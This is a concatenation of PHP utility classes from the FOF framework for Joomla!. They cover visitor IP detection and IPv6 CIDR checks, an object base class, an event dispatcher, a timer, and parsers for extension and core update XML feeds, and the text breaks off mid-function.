self::$allowIpOverrides = $newState ? true : false;
}
/**
* Gets the visitor's IP address. Automatically handles reverse
proxies
* reporting the IPs of intermediate devices, like load balancers.
Examples:
*
https://www.akeebabackup.com/support/admin-tools/13743-double-ip-adresses-in-security-exception-log-warnings.html
*
http://stackoverflow.com/questions/2422395/why-is-request-envremote-addr-returning-two-ips
* The solution used is assuming that the last IP address is the external
one.
*
* @return string
*/
protected static function detectAndCleanIP()
{
$ip = self::detectIP();
if ((strstr($ip, ',') !== false) || (strstr($ip, ' ')
!== false))
{
$ip = str_replace(' ', ',', $ip);
$ip = str_replace(',,', ',', $ip);
$ips = explode(',', $ip);
$ip = '';
while (empty($ip) && !empty($ips))
{
$ip = array_pop($ips);
$ip = trim($ip);
}
}
else
{
$ip = trim($ip);
}
return $ip;
}
/**
* Gets the visitor's IP address
*
* @return string
*/
protected static function detectIP()
{
// Normally the $_SERVER superglobal is set
if (isset($_SERVER))
{
// Do we have an x-forwarded-for HTTP header (e.g. NginX)?
if (self::$allowIpOverrides &&
array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
// Do we have a client-ip header (e.g. non-transparent proxy)?
if (self::$allowIpOverrides &&
array_key_exists('HTTP_CLIENT_IP', $_SERVER))
{
return $_SERVER['HTTP_CLIENT_IP'];
}
// Normal, non-proxied server or server behind a transparent proxy
return $_SERVER['REMOTE_ADDR'];
}
// This part is executed on PHP running as CGI, or on SAPIs which do
// not set the $_SERVER superglobal
// If getenv() is disabled, you're screwed
if (!function_exists('getenv'))
{
return '';
}
// Do we have an x-forwarded-for HTTP header?
if (self::$allowIpOverrides &&
getenv('HTTP_X_FORWARDED_FOR'))
{
return getenv('HTTP_X_FORWARDED_FOR');
}
// Do we have a client-ip header?
if (self::$allowIpOverrides &&
getenv('HTTP_CLIENT_IP'))
{
return getenv('HTTP_CLIENT_IP');
}
// Normal, non-proxied server or server behind a transparent proxy
if (getenv('REMOTE_ADDR'))
{
return getenv('REMOTE_ADDR');
}
// Catch-all case for broken servers, apparently
return '';
}
/**
* Converts inet_pton output to bits string
*
* @param string $inet The in_addr representation of an IPv4 or IPv6
address
*
* @return string
*/
protected static function inet_to_bits($inet)
{
if (strlen($inet) == 4)
{
$unpacked = unpack('A4', $inet);
}
else
{
$unpacked = unpack('A16', $inet);
}
$unpacked = str_split($unpacked[1]);
$binaryip = '';
foreach ($unpacked as $char)
{
$binaryip .= str_pad(decbin(ord($char)), 8, '0',
STR_PAD_LEFT);
}
return $binaryip;
}
/**
* Checks if an IPv6 address $ip is part of the IPv6 CIDR block $cidrnet
*
* @param string $ip The IPv6 address to check, e.g.
21DA:00D3:0000:2F3B:02AC:00FF:FE28:9C5A
* @param string $cidrnet The IPv6 CIDR block, e.g.
21DA:00D3:0000:2F3B::/64
*
* @return bool
*/
protected static function checkIPv6CIDR($ip, $cidrnet)
{
$ip = inet_pton($ip);
$binaryip=self::inet_to_bits($ip);
list($net,$maskbits)=explode('/',$cidrnet);
$net=inet_pton($net);
$binarynet=self::inet_to_bits($net);
$ip_net_bits=substr($binaryip,0,$maskbits);
$net_bits =substr($binarynet,0,$maskbits);
return $ip_net_bits === $net_bits;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Temporary class for backwards compatibility. You should not be using
this
* in your code. It is currently present to handle the validation error
stack
* for FOFTable::check() and will be removed in an upcoming version.
*
* This class is based on JObject as found in Joomla! 3.2.1
*
* @deprecated 2.1
* @codeCoverageIgnore
*/
class FOFUtilsObject
{
/**
* An array of error messages or Exception objects.
*
* @var array
*/
protected $_errors = array();
/**
* Class constructor, overridden in descendant classes.
*
* @param mixed $properties Either and associative array or another
* object to set the initial properties of
the object.
*/
public function __construct($properties = null)
{
if ($properties !== null)
{
$this->setProperties($properties);
}
}
/**
* Magic method to convert the object to a string gracefully.
*
* @return string The classname.
*/
public function __toString()
{
return get_class($this);
}
/**
* Sets a default value if not alreay assigned
*
* @param string $property The name of the property.
* @param mixed $default The default value.
*
* @return mixed
*/
public function def($property, $default = null)
{
$value = $this->get($property, $default);
return $this->set($property, $value);
}
/**
* Returns a property of the object or the default value if the
property is not set.
*
* @param string $property The name of the property.
* @param mixed $default The default value.
*
* @return mixed The value of the property.
*/
public function get($property, $default = null)
{
if (isset($this->$property))
{
return $this->$property;
}
return $default;
}
/**
* Returns an associative array of object properties.
*
* @param boolean $public If true, returns only the public
properties.
*
* @return array
*/
public function getProperties($public = true)
{
$vars = get_object_vars($this);
if ($public)
{
foreach ($vars as $key => $value)
{
if ('_' == substr($key, 0, 1))
{
unset($vars[$key]);
}
}
}
return $vars;
}
/**
* Get the most recent error message.
*
* @param integer $i Option error index.
* @param boolean $toString Indicates if JError objects should
return their error message.
*
* @return string Error message
*/
public function getError($i = null, $toString = true)
{
// Find the error
if ($i === null)
{
// Default, return the last message
$error = end($this->_errors);
}
elseif (!array_key_exists($i, $this->_errors))
{
// If $i has been specified but does not exist, return false
return false;
}
else
{
$error = $this->_errors[$i];
}
// Check if only the string is requested
if ($error instanceof Exception && $toString)
{
return (string) $error;
}
return $error;
}
/**
* Return all errors, if any.
*
* @return array Array of error messages or JErrors.
*/
public function getErrors()
{
return $this->_errors;
}
/**
* Modifies a property of the object, creating it if it does not
already exist.
*
* @param string $property The name of the property.
* @param mixed $value The value of the property to set.
*
* @return mixed Previous value of the property.
*/
public function set($property, $value = null)
{
$previous = isset($this->$property) ? $this->$property :
null;
$this->$property = $value;
return $previous;
}
/**
* Set the object properties based on a named array/hash.
*
* @param mixed $properties Either an associative array or another
object.
*
* @return boolean
*/
public function setProperties($properties)
{
if (is_array($properties) || is_object($properties))
{
foreach ((array) $properties as $k => $v)
{
// Use the set function which might be overridden.
$this->set($k, $v);
}
return true;
}
return false;
}
/**
* Add an error message.
*
* @param string $error Error message.
*
* @return void
*/
public function setError($error)
{
array_push($this->_errors, $error);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Class to handle dispatching of events.
*
* This is the Observable part of the Observer design pattern
* for the event architecture.
*
* This class is based on JEventDispatcher as found in Joomla! 3.2.0
*/
class FOFUtilsObservableDispatcher extends FOFUtilsObject
{
/**
* An array of Observer objects to notify
*
* @var array
*/
protected $_observers = array();
/**
* The state of the observable object
*
* @var mixed
*/
protected $_state = null;
/**
* A multi dimensional array of [function][] = key for observers
*
* @var array
*/
protected $_methods = array();
/**
* Stores the singleton instance of the dispatcher.
*
* @var FOFUtilsObservableDispatcher
*/
protected static $instance = null;
/**
* Returns the global Event Dispatcher object, only creating it
* if it doesn't already exist.
*
* @return FOFUtilsObservableDispatcher The EventDispatcher object.
*/
public static function getInstance()
{
if (self::$instance === null)
{
self::$instance = new static;
}
return self::$instance;
}
/**
* Get the state of the FOFUtilsObservableDispatcher object
*
* @return mixed The state of the object.
*/
public function getState()
{
return $this->_state;
}
/**
* Registers an event handler to the event dispatcher
*
* @param string $event Name of the event to register handler for
* @param string $handler Name of the event handler
*
* @return void
*
* @throws InvalidArgumentException
*/
public function register($event, $handler)
{
// Are we dealing with a class or callback type handler?
if (is_callable($handler))
{
// Ok, function type event handler... let's attach it.
$method = array('event' => $event,
'handler' => $handler);
$this->attach($method);
}
elseif (class_exists($handler))
{
// Ok, class type event handler... let's instantiate and
attach it.
$this->attach(new $handler($this));
}
else
{
throw new InvalidArgumentException('Invalid event
handler.');
}
}
/**
* Triggers an event by dispatching arguments to all observers that
handle
* the event and returning their return values.
*
* @param string $event The event to trigger.
* @param array $args An array of arguments.
*
* @return array An array of results from each function call.
*/
public function trigger($event, $args = array())
{
$result = array();
/*
* If no arguments were passed, we still need to pass an empty
array to
* the call_user_func_array function.
*/
$args = (array) $args;
$event = strtolower($event);
// Check if any plugins are attached to the event.
if (!isset($this->_methods[$event]) ||
empty($this->_methods[$event]))
{
// No Plugins Associated To Event!
return $result;
}
// Loop through all plugins having a method matching our event
foreach ($this->_methods[$event] as $key)
{
// Check if the plugin is present.
if (!isset($this->_observers[$key]))
{
continue;
}
// Fire the event for an object based observer.
if (is_object($this->_observers[$key]))
{
$args['event'] = $event;
$value = $this->_observers[$key]->update($args);
}
// Fire the event for a function based observer.
elseif (is_array($this->_observers[$key]))
{
$value =
call_user_func_array($this->_observers[$key]['handler'],
$args);
}
if (isset($value))
{
$result[] = $value;
}
}
return $result;
}
/**
* Attach an observer object
*
* @param object $observer An observer object to attach
*
* @return void
*/
public function attach($observer)
{
if (is_array($observer))
{
if (!isset($observer['handler']) ||
!isset($observer['event']) ||
!is_callable($observer['handler']))
{
return;
}
// Make sure we haven't already attached this array as an
observer
foreach ($this->_observers as $check)
{
if (is_array($check) && $check['event']
== $observer['event'] && $check['handler'] ==
$observer['handler'])
{
return;
}
}
$this->_observers[] = $observer;
end($this->_observers);
$methods = array($observer['event']);
}
else
{
if (!($observer instanceof FOFUtilsObservableEvent))
{
return;
}
// Make sure we haven't already attached this object as an
observer
$class = get_class($observer);
foreach ($this->_observers as $check)
{
if ($check instanceof $class)
{
return;
}
}
$this->_observers[] = $observer;
// Required in PHP 7 since foreach() doesn't advance the
internal array counter, see
http://php.net/manual/en/migration70.incompatible.php
end($this->_observers);
$methods = array();
foreach(get_class_methods($observer) as $obs_method)
{
// Magic methods are not allowed
if(strpos('__', $obs_method) === 0)
{
continue;
}
$methods[] = $obs_method;
}
//$methods = get_class_methods($observer);
}
$key = key($this->_observers);
foreach ($methods as $method)
{
$method = strtolower($method);
if (!isset($this->_methods[$method]))
{
$this->_methods[$method] = array();
}
$this->_methods[$method][] = $key;
}
}
/**
* Detach an observer object
*
* @param object $observer An observer object to detach.
*
* @return boolean True if the observer object was detached.
*/
public function detach($observer)
{
$retval = false;
$key = array_search($observer, $this->_observers);
if ($key !== false)
{
unset($this->_observers[$key]);
$retval = true;
foreach ($this->_methods as &$method)
{
$k = array_search($key, $method);
if ($k !== false)
{
unset($method[$k]);
}
}
}
return $retval;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Defines an observable event.
*
* This class is based on JEvent as found in Joomla! 3.2.0
*/
abstract class FOFUtilsObservableEvent extends FOFUtilsObject
{
/**
* Event object to observe.
*
* @var object
*/
protected $_subject = null;
/**
* Constructor
*
* @param object &$subject The object to observe.
*/
public function __construct(&$subject)
{
// Register the observer ($this) so we can be notified
$subject->attach($this);
// Set the subject to observe
$this->_subject = &$subject;
}
/**
* Method to trigger events.
* The method first generates the even from the argument array. Then it
unsets the argument
* since the argument has no bearing on the event handler.
* If the method exists it is called and returns its return value. If
it does not exist it
* returns null.
*
* @param array &$args Arguments
*
* @return mixed Routine return value
*/
public function update(&$args)
{
// First let's get the event from the argument array. Next we
will unset the
// event argument as it has no bearing on the method to handle the
event.
$event = $args['event'];
unset($args['event']);
/*
* If the method to handle an event exists, call it and return its
return
* value. If it does not exist, return null.
*/
if (method_exists($this, $event))
{
return call_user_func_array(array($this, $event), $args);
}
else
{
return null;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Intercept calls to PHP functions.
*
* @method function_exists(string $function)
* @method mcrypt_list_algorithms()
* @method hash_algos()
* @method extension_loaded(string $ext)
* @method mcrypt_create_iv(int $bytes, int $source)
* @method openssl_get_cipher_methods()
*/
class FOFUtilsPhpfunc
{
/**
*
* Magic call to intercept any function pass to it.
*
* @param string $func The function to call.
*
* @param array $args Arguments passed to the function.
*
* @return mixed The result of the function call.
*
*/
public function __call($func, $args)
{
return call_user_func_array($func, $args);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* An execution timer monitor class
*/
class FOFUtilsTimer
{
/** @var float Maximum execution time allowance */
private $max_exec_time = null;
/** @var float Timestamp of execution start */
private $start_time = null;
/**
* Public constructor, creates the timer object and calculates the
execution
* time limits.
*
* @param float $max_exec_time Maximum execution time allowance
* @param float $runtime_bias Execution time bias (expressed as % of
$max_exec_time)
*/
public function __construct($max_exec_time = 5.0, $runtime_bias = 75.0)
{
// Initialize start time
$this->start_time = $this->microtime_float();
$this->max_exec_time = $max_exec_time * $runtime_bias / 100.0;
}
/**
* Wake-up function to reset internal timer when we get unserialized
*/
public function __wakeup()
{
// Re-initialize start time on wake-up
$this->start_time = $this->microtime_float();
}
/**
* Gets the number of seconds left, before we hit the "must
break" threshold. Negative
* values mean that we have already crossed that threshold.
*
* @return float
*/
public function getTimeLeft()
{
return $this->max_exec_time - $this->getRunningTime();
}
/**
* Gets the time elapsed since object creation/unserialization,
effectively
* how long we are running
*
* @return float
*/
public function getRunningTime()
{
return $this->microtime_float() - $this->start_time;
}
/**
* Returns the current timestamp in decimal seconds
*
* @return float
*/
private function microtime_float()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
/**
* Reset the timer
*/
public function resetTime()
{
$this->start_time = $this->microtime_float();
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A helper class to read and parse "collection" update XML files
over the web
*/
class FOFUtilsUpdateCollection
{
/**
* Reads a "collection" XML update source and returns the
complete tree of categories
* and extensions applicable for platform version $jVersion
*
* @param string $url The collection XML update source URL to
read from
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array A list of update sources applicable to $jVersion
*/
public function getAllUpdates($url, $jVersion = null)
{
// Get the target platform
if (is_null($jVersion))
{
$jVersion = JVERSION;
}
// Initialise return value
$updates = array(
'metadata' => array(
'name' => '',
'description' => '',
),
'categories' => array(),
'extensions' => array(),
);
// Download and parse the XML file
$donwloader = new FOFDownload();
$xmlSource = $donwloader->getFromURL($url);
try
{
$xml = new SimpleXMLElement($xmlSource, LIBXML_NONET);
}
catch(Exception $e)
{
return $updates;
}
// Sanity check
if (($xml->getName() != 'extensionset'))
{
unset($xml);
return $updates;
}
// Initialise return value with the stream metadata (name, description)
$rootAttributes = $xml->attributes();
foreach ($rootAttributes as $k => $v)
{
$updates['metadata'][$k] = (string)$v;
}
// Initialise the raw list of updates
$rawUpdates = array(
'categories' => array(),
'extensions' => array(),
);
// Segregate the raw list to a hierarchy of extension and category
entries
/** @var SimpleXMLElement $extension */
foreach ($xml->children() as $extension)
{
switch ($extension->getName())
{
case 'category':
// These are the parameters we expect in a category
$params = array(
'name' => '',
'description' => '',
'category' => '',
'ref' => '',
'targetplatformversion' => $jVersion,
);
// These are the attributes of the element
$attributes = $extension->attributes();
// Merge them all
foreach ($attributes as $k => $v)
{
$params[$k] = (string)$v;
}
// We can't have a category with an empty category name
if (empty($params['category']))
{
break;
}
// We can't have a category with an empty ref
if (empty($params['ref']))
{
break;
}
if (empty($params['description']))
{
$params['description'] = $params['category'];
}
if (!array_key_exists($params['category'],
$rawUpdates['categories']))
{
$rawUpdates['categories'][$params['category']] =
array();
}
$rawUpdates['categories'][$params['category']][] =
$params;
break;
case 'extension':
// These are the parameters we expect in a category
$params = array(
'element' => '',
'type' => '',
'version' => '',
'name' => '',
'detailsurl' => '',
'targetplatformversion' => $jVersion,
);
// These are the attributes of the element
$attributes = $extension->attributes();
// Merge them all
foreach ($attributes as $k => $v)
{
$params[$k] = (string)$v;
}
// We can't have an extension with an empty element
if (empty($params['element']))
{
break;
}
// We can't have an extension with an empty type
if (empty($params['type']))
{
break;
}
// We can't have an extension with an empty version
if (empty($params['version']))
{
break;
}
if (empty($params['name']))
{
$params['name'] = $params['element'] . '
' . $params['version'];
}
if (!array_key_exists($params['type'],
$rawUpdates['extensions']))
{
$rawUpdates['extensions'][$params['type']] =
array();
}
if (!array_key_exists($params['element'],
$rawUpdates['extensions'][$params['type']]))
{
$rawUpdates['extensions'][$params['type']][$params['element']]
= array();
}
$rawUpdates['extensions'][$params['type']][$params['element']][]
= $params;
break;
default:
break;
}
}
unset($xml);
if (!empty($rawUpdates['categories']))
{
foreach ($rawUpdates['categories'] as $category =>
$entries)
{
$update = $this->filterListByPlatform($entries, $jVersion);
$updates['categories'][$category] = $update;
}
}
if (!empty($rawUpdates['extensions']))
{
foreach ($rawUpdates['extensions'] as $type => $extensions)
{
$updates['extensions'][$type] = array();
if (!empty($extensions))
{
foreach ($extensions as $element => $entries)
{
$update = $this->filterListByPlatform($entries, $jVersion);
$updates['extensions'][$type][$element] = $update;
}
}
}
}
return $updates;
}
/**
* Filters a list of updates, returning only those available for the
* specified platform version $jVersion
*
* @param array $updates An array containing update definitions
(categories or extensions)
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array|null The update definition that is compatible, or null
if none is compatible
*/
private function filterListByPlatform($updates, $jVersion = null)
{
// Get the target platform
if (is_null($jVersion))
{
$jVersion = JVERSION;
}
$versionParts = explode('.', $jVersion, 4);
$platformVersionMajor = $versionParts[0];
$platformVersionMinor = (count($versionParts) > 1) ?
$platformVersionMajor . '.' . $versionParts[1] :
$platformVersionMajor;
$platformVersionNormal = (count($versionParts) > 2) ?
$platformVersionMinor . '.' . $versionParts[2] :
$platformVersionMinor;
$platformVersionFull = (count($versionParts) > 3) ?
$platformVersionNormal . '.' . $versionParts[3] :
$platformVersionNormal;
$pickedExtension = null;
$pickedSpecificity = -1;
foreach ($updates as $update)
{
// Test the target platform
$targetPlatform = (string)$update['targetplatformversion'];
if ($targetPlatform === $platformVersionFull)
{
$pickedExtension = $update;
$pickedSpecificity = 4;
}
elseif (($targetPlatform === $platformVersionNormal) &&
($pickedSpecificity <= 3))
{
$pickedExtension = $update;
$pickedSpecificity = 3;
}
elseif (($targetPlatform === $platformVersionMinor) &&
($pickedSpecificity <= 2))
{
$pickedExtension = $update;
$pickedSpecificity = 2;
}
elseif (($targetPlatform === $platformVersionMajor) &&
($pickedSpecificity <= 1))
{
$pickedExtension = $update;
$pickedSpecificity = 1;
}
}
return $pickedExtension;
}
/**
* Returns only the category definitions of a collection
*
* @param string $url The URL of the collection update source
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array An array of category update definitions
*/
public function getCategories($url, $jVersion = null)
{
$allUpdates = $this->getAllUpdates($url, $jVersion);
return $allUpdates['categories'];
}
/**
* Returns the update source for a specific category
*
* @param string $url The URL of the collection update source
* @param string $category The category name you want to get the
update source URL of
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return string|null The update stream URL, or null if it's not
found
*/
public function getCategoryUpdateSource($url, $category, $jVersion = null)
{
$allUpdates = $this->getAllUpdates($url, $jVersion);
if (array_key_exists($category, $allUpdates['categories']))
{
return $allUpdates['categories'][$category]['ref'];
}
else
{
return null;
}
}
/**
* Get a list of updates for extensions only, optionally of a specific
type
*
* @param string $url The URL of the collection update source
* @param string $type The extension type you want to get the
update source URL of, empty to get all
* extension types
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array|null An array of extension update definitions or null
if none is found
*/
public function getExtensions($url, $type = null, $jVersion = null)
{
$allUpdates = $this->getAllUpdates($url, $jVersion);
if (empty($type))
{
return $allUpdates['extensions'];
}
elseif (array_key_exists($type, $allUpdates['extensions']))
{
return $allUpdates['extensions'][$type];
}
else
{
return null;
}
}
/**
* Get the update source URL for a specific extension, based on the type
and element, e.g.
* type=file and element=joomla is Joomla! itself.
*
* @param string $url The URL of the collection update source
* @param string $type The extension type you want to get the
update source URL of
* @param string $element The extension element you want to get the
update source URL of
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return string|null The update source URL or null if the extension is
not found
*/
public function getExtensionUpdateSource($url, $type, $element, $jVersion
= null)
{
$allUpdates = $this->getExtensions($url, $type, $jVersion);
if (empty($allUpdates))
{
return null;
}
elseif (array_key_exists($element, $allUpdates))
{
return $allUpdates[$element]['detailsurl'];
}
else
{
return null;
}
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A helper class to read and parse "extension" update XML files
over the web
*/
class FOFUtilsUpdateExtension
{
/**
* Reads an "extension" XML update source and returns all listed
update entries.
*
* If you have a "collection" XML update source you should do
something like this:
* $collection = new FOFUtilsUpdateCollection();
* $extensionUpdateURL = $collection->getExtensionUpdateSource($url,
'component', 'com_foobar', JVERSION);
* $extension = new FOFUtilsUpdateExtension();
* $updates = $extension->getUpdatesFromExtension($extensionUpdateURL);
*
* @param string $url The extension XML update source URL to read from
*
* @return array An array of update entries
*/
public function getUpdatesFromExtension($url)
{
// Initialise
$ret = array();
// Get and parse the XML source
$downloader = new FOFDownload();
$xmlSource = $downloader->getFromURL($url);
try
{
$xml = new SimpleXMLElement($xmlSource, LIBXML_NONET);
}
catch(Exception $e)
{
return $ret;
}
// Sanity check
if (($xml->getName() != 'updates'))
{
unset($xml);
return $ret;
}
// Let's populate the list of updates
/** @var SimpleXMLElement $update */
foreach ($xml->children() as $update)
{
// Sanity check
if ($update->getName() != 'update')
{
continue;
}
$entry = array(
'infourl' => array('title' => '',
'url' => ''),
'downloads' => array(),
'tags' => array(),
'targetplatform' => array(),
);
$properties = get_object_vars($update);
foreach ($properties as $nodeName => $nodeContent)
{
switch ($nodeName)
{
default:
$entry[$nodeName] = $nodeContent;
break;
case 'infourl':
case 'downloads':
case 'tags':
case 'targetplatform':
break;
}
}
$infourlNode = $update->xpath('infourl');
$entry['infourl']['title'] =
(string)$infourlNode[0]['title'];
$entry['infourl']['url'] = (string)$infourlNode[0];
$downloadNodes = $update->xpath('downloads/downloadurl');
foreach ($downloadNodes as $downloadNode)
{
$entry['downloads'][] = array(
'type' => (string)$downloadNode['type'],
'format' => (string)$downloadNode['format'],
'url' => (string)$downloadNode,
);
}
$tagNodes = $update->xpath('tags/tag');
foreach ($tagNodes as $tagNode)
{
$entry['tags'][] = (string)$tagNode;
}
/** @var SimpleXMLElement $targetPlatformNode */
$targetPlatformNode = $update->xpath('targetplatform');
$entry['targetplatform']['name'] =
(string)$targetPlatformNode[0]['name'];
$entry['targetplatform']['version'] =
(string)$targetPlatformNode[0]['version'];
$client = $targetPlatformNode[0]->xpath('client');
$entry['targetplatform']['client'] =
(is_array($client) && count($client)) ? (string)$client[0] :
'';
$folder = $targetPlatformNode[0]->xpath('folder');
$entry['targetplatform']['folder'] =
is_array($folder) && count($folder) ? (string)$folder[0] :
'';
$ret[] = $entry;
}
unset($xml);
return $ret;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A helper class which provides update information for the Joomla! CMS
itself. This is slightly different than the
* regular "extension" files as we need to know if a Joomla!
version is STS, LTS, testing, current and so on.
*/
class FOFUtilsUpdateJoomla extends FOFUtilsUpdateExtension
{
/**
* The source for LTS updates
*
* @var string
*/
protected static $lts_url =
'http://update.joomla.org/core/list.xml';
/**
* The source for STS updates
*
* @var string
*/
protected static $sts_url =
'http://update.joomla.org/core/sts/list_sts.xml';
/**
* The source for test release updates
*
* @var string
*/
protected static $test_url =
'http://update.joomla.org/core/test/list_test.xml';
/**
* Reads an "extension" XML update source and returns all listed
update entries.
*
* If you have a "collection" XML update source you should do
something like this:
* $collection = new CmsupdateHelperCollection();
* $extensionUpdateURL = $collection->getExtensionUpdateSource($url,
'component', 'com_foobar', JVERSION);
* $extension = new CmsupdateHelperExtension();
* $updates = $extension->getUpdatesFromExtension($extensionUpdateURL);
*
* @param string $url The extension XML update source URL to read from
*
* @return array An array of update entries
*/
public function getUpdatesFromExtension($url)
{
// Initialise
$ret = array();
// Get and parse the XML source
$downloader = new FOFDownload();
$xmlSource = $downloader->getFromURL($url);
try
{
$xml = new SimpleXMLElement($xmlSource, LIBXML_NONET);
}
catch (Exception $e)
{
return $ret;
}
// Sanity check
if (($xml->getName() != 'updates'))
{
unset($xml);
return $ret;
}
// Let's populate the list of updates
/** @var SimpleXMLElement $update */
foreach ($xml->children() as $update)
{
// Sanity check
if ($update->getName() != 'update')
{
continue;
}
$entry = array(
'infourl' => array('title' =>
'', 'url' => ''),
'downloads' => array(),
'tags' => array(),
'targetplatform' => array(),
);
$properties = get_object_vars($update);
foreach ($properties as $nodeName => $nodeContent)
{
switch ($nodeName)
{
default:
$entry[ $nodeName ] = $nodeContent;
break;
case 'infourl':
case 'downloads':
case 'tags':
case 'targetplatform':
break;
}
}
$infourlNode = $update->xpath('infourl');
$entry['infourl']['title'] = (string)
$infourlNode[0]['title'];
$entry['infourl']['url'] = (string)
$infourlNode[0];
$downloadNodes = $update->xpath('downloads/downloadurl');
foreach ($downloadNodes as $downloadNode)
{
$entry['downloads'][] = array(
'type' => (string) $downloadNode['type'],
'format' => (string) $downloadNode['format'],
'url' => (string) $downloadNode,
);
}
$tagNodes = $update->xpath('tags/tag');
foreach ($tagNodes as $tagNode)
{
$entry['tags'][] = (string) $tagNode;
}
/** @var SimpleXMLElement[] $targetPlatformNode */
$targetPlatformNode = $update->xpath('targetplatform');
$entry['targetplatform']['name'] = (string)
$targetPlatformNode[0]['name'];
$entry['targetplatform']['version'] = (string)
$targetPlatformNode[0]['version'];
$client =
$targetPlatformNode[0]->xpath('client');
$entry['targetplatform']['client'] =
(is_array($client) && count($client)) ? (string) $client[0] :
'';
$folder =
$targetPlatformNode[0]->xpath('folder');
$entry['targetplatform']['folder'] =
is_array($folder) && count($folder) ? (string) $folder[0] :
'';
$ret[] = $entry;
}
unset($xml);
return $ret;
}
/**
* Reads a "collection" XML update source and picks the correct
source URL
* for the extension update source.
*
* @param string $url The collection XML update source URL to read
from
* @param string $jVersion Joomla! version to fetch updates for, or null
to use JVERSION
*
* @return string The URL of the extension update source, or empty if no
updates are provided / fetching failed
*/
public function getUpdateSourceFromCollection($url, $jVersion = null)
{
$provider = new FOFUtilsUpdateCollection();
return $provider->getExtensionUpdateSource($url, 'file',
'joomla', $jVersion);
}
/**
* Determines the properties of a version: STS/LTS, normal or testing
*
* @param string $jVersion The version number to check
* @param string $currentVersion The current Joomla! version number
*
* @return array The properties analysis
*/
public function getVersionProperties($jVersion, $currentVersion = null)
{
// Initialise
$ret = array(
'lts' => true,
// Is this an LTS release? False means STS.
'current' => false,
// Is this a release in the $currentVersion branch?
'upgrade' => 'none',
// Upgrade relation of $jVersion to $currentVersion: 'none'
(can't upgrade), 'lts' (next or current LTS),
'sts' (next or current STS) or 'current' (same release,
no upgrade available)
'testing' => false,
// Is this a testing (alpha, beta, RC) release?
);
// Get the current version if none is defined
if (is_null($currentVersion))
{
$currentVersion = JVERSION;
}
// Sanitise version numbers
$sameVersion = $jVersion == $currentVersion;
$jVersion = $this->sanitiseVersion($jVersion);
$currentVersion = $this->sanitiseVersion($currentVersion);
$sameVersion = $sameVersion || ($jVersion == $currentVersion);
// Get the base version
$baseVersion = substr($jVersion, 0, 3);
// Get the minimum and maximum current version numbers
$current_minimum = substr($currentVersion, 0, 3);
$current_maximum = $current_minimum . '.9999';
// Initialise STS/LTS version numbers
$sts_minimum = false;
$sts_maximum = false;
$lts_minimum = false;
// Is it an LTS or STS release?
switch ($baseVersion)
{
case '1.5':
$ret['lts'] = true;
break;
case '1.6':
$ret['lts'] = false;
$sts_minimum = '1.7';
$sts_maximum = '1.7.999';
$lts_minimum = '2.5';
break;
case '1.7':
$ret['lts'] = false;
$sts_minimum = false;
$lts_minimum = '2.5';
break;
case '2.5':
$ret['lts'] = true;
$sts_minimum = false;
$lts_minimum = '2.5';
break;
default:
$majorVersion = (int) substr($jVersion, 0, 1);
//$minorVersion = (int) substr($jVersion, 2, 1);
$ret['lts'] = true;
$sts_minimum = false;
$lts_minimum = $majorVersion . '.0';
break;
}
// Is it a current release?
if (version_compare($jVersion, $current_minimum, 'ge')
&& version_compare($jVersion, $current_maximum, 'le'))
{
$ret['current'] = true;
}
// Is this a testing release?
$versionParts = explode('.', $jVersion);
$lastVersionPart = array_pop($versionParts);
if (in_array(substr($lastVersionPart, 0, 1), array('a',
'b')))
{
$ret['testing'] = true;
}
elseif (substr($lastVersionPart, 0, 2) == 'rc')
{
$ret['testing'] = true;
}
elseif (substr($lastVersionPart, 0, 3) == 'dev')
{
